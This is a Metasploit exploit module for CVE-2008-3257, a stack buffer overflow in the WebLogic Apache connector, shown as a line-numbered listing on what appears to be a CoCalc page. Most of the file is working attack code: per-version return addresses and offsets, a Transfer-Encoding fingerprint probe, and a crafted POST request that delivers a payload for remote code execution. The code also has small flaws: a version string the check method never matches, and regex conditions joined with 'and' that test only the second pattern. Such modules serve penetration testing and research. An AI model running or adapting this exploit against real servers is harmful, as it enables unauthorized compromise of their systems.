CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  HttpFingerprint = { :pattern => [ /Apache/ ] }
10

11
  include Msf::Exploit::Remote::HttpClient
12

13
  def initialize(info = {})
14
    super(update_info(info,
15
      'Name'           => 'Oracle Weblogic Apache Connector POST Request Buffer Overflow',
16
      'Description'    => %q{
17
          This module exploits a stack based buffer overflow in the BEA
18
        Weblogic Apache plugin.
19

20
        The connector fails to properly handle specially crafted HTTP POST
21
        requests, resulting a buffer overflow due to the insecure usage
22
        of sprintf.  Currently, this module works over Windows systems without DEP,
23
        and has been tested with Windows 2000 / XP.
24

25
        In addition, the Weblogic Apache plugin version is fingerprinted with a POST
26
        request containing a specially crafted Transfer-Encoding header.
27
      },
28
      'Author'         =>
29
        [
30
          'KingCope', # Vulnerability Discovery and PoC
31
          'juan vazquez', # Metasploit Module
32
        ],
33
      'References'     =>
34
        [
35
          [ 'CVE', '2008-3257' ],
36
          [ 'OSVDB', '47096' ],
37
          [ 'BID', '30273' ]
38
        ],
39
      'DefaultOptions' =>
40
        {
41
          'EXITFUNC' => 'process',
42
        },
43
      'Privileged'     => true,
44
      'Platform'       => 'win',
45
      'Payload'        =>
46
        {
47
          'Space'    => 4000,
48
          'BadChars' => "\x00\x0d\x0a\x3f"
49
        },
50
      'Targets'        =>
51
        [
52
          [ 'Automatic', {} ],
53
          [  'BEA WebLogic 8.1 SP6 - mod_wl_20.so / Apache 2.0 / Windows [XP/2000]',
54
            {
55
              'Ret' => 0x10061f63, # push esp # ret # mod_wl_20.so
56
              'Offset' =>  4102
57
            }
58
          ],
59
          [  'BEA WebLogic 8.1 SP5 - mod_wl_20.so / Apache 2.0 / Windows [XP/2000]',
60
            {
61
              'Ret' => 0x10061473, # push esp # ret # mod_wl_20.so
62
              'Offset' =>  4102
63
            }
64
          ],
65
          [  'BEA WebLogic 8.1 SP4 - mod_wl_20.so / Apache 2.0 / Windows [XP/2000]',
66
            {
67
              'Ret' => 0x10020e31, # push esp # ret # mod_wl_20.so
68
              'Offset' =>  4102
69
            }
70
          ]
71
        ],
72
      'DisclosureDate' => '2008-07-17',
73
      'DefaultTarget'  => 0))
74

75
    register_options(
76
      [
77
        OptString.new('TARGETURI', [true, 'The URI path to a jsp or object provided by Weblogic', '/index.jsp']),
78
      ])
79

80
  end
81

82

83
  def check
84

85
    fingerprint = fingerprint_mod_wl
86
    print_status "#{rhost}:#{rport} - #{fingerprint}"
87

88
    case fingerprint
89
    when /Version found/
90
      return Exploit::CheckCode::Appears
91
    when /BEA WebLogic connector vulnerable/
92
      return Exploit::CheckCode::Appears
93
    when /BEA WebLogic connector undefined/
94
      return Exploit::CheckCode::Detected
95
    when /BEA WebLogic connector no vulnerable/, /BEA WebLogic connector not found/
96
      return Exploit::CheckCode::Safe
97
    end
98

99
  end
100

101
  def exploit
102

103
    # Autodetect BEA mod_wl version
104
    my_target = get_target
105

106
    # Avoid the attack if the victim doesn't have the same setup we're targeting
107
    if my_target.nil?
108
      print_error("BEA mod_weblogic not supported")
109
      return
110
    end
111

112
    uri = normalize_uri(target_uri.path)
113
    sploit = rand_text_alphanumeric(my_target['Offset']-uri.length)
114
    sploit << [my_target.ret].pack("V")
115
    sploit << payload.encoded
116

117
    send_request_cgi({
118
      'method'  => 'POST',
119
      'uri'     => "#{uri} #{sploit}",
120
    })
121

122
    handler
123

124
  end
125

126
  def get_target
127

128
    return target if target.name != 'Automatic'
129

130
    fingerprint = fingerprint_mod_wl
131

132
    case fingerprint
133
    when /BEA WebLogic 8.1 SP6 - mod_wl_20.so/
134
      return targets[1]
135
    when /BEA WebLogic 8.1 SP5 - mod_wl_20.so/
136
      return targets[2]
137
    when /BEA WebLogic 8.1 SP4 - mod_wl_20.so/
138
      return targets[3]
139
    else
140
      return nil
141
    end
142

143
  end
144

145
  def fingerprint_mod_wl
146

147
    my_data = rand_text_alpha(rand(5) + 8)
148
    res = send_request_cgi(
149
        {
150
          'method'  => 'POST',
151
          'uri'     => normalize_uri(target_uri.path),
152
          'headers' =>
153
            {
154
              'Transfer-Encoding' => my_data
155
            },
156
          'data' => "#{my_data.length}\r\n#{my_data}\r\n0\r\n",
157
        })
158

159
    if res and res.code == 200 and res.body =~ /Weblogic Bridge Message/
160
      # BEA WebLogic 8.1 SP6 - mod_wl_20.so
161
      case res.body
162
      when (/Build date\/time:<\/B> <I>Jun 16 2006 15:14:11/ and /Change Number:<\/B> <I>779586/)
163
        return "Version found: BEA WebLogic 8.1 SP6 - mod_wl_20.so"
164
      # BEA WebLogic 8.1 SP5 - mod_wl_20.so
165
      when (/Build date\/time:<\/B> <I>Aug  5 2005 11:19:57/ and /Change Number:<\/B> <I>616810/)
166
        return "Version found: BEA WebLogic 8.1 SP5 - mod_wl_20.so"
167
      when (/Build date\/time:<\/B> <I>Oct 25 2004 09:25:23/ and /Change Number:<\/B> <I>452998/)
168
        return "Version found: BEA WebLogic 8.1 SP4 - mod_wl_20.so"
169
      # Check for dates prior to patch release
170
      when /([A-Za-z]{3} [\s\d]{2} [\d]{4})/
171
        build_date = Date.parse($1)
172
        if build_date <= Date.parse("Jul 28 2008")
173
          return "BEA WebLogic connector vulnerable"
174
        else
175
          return "BEA WebLogic connector not vulnerable"
176
        end
177
      else
178
        return "BEA WebLogic connector undefined"
179
      end
180
    end
181

182
    return "BEA WebLogic connector not found"
183

184
  end
185
end
186

187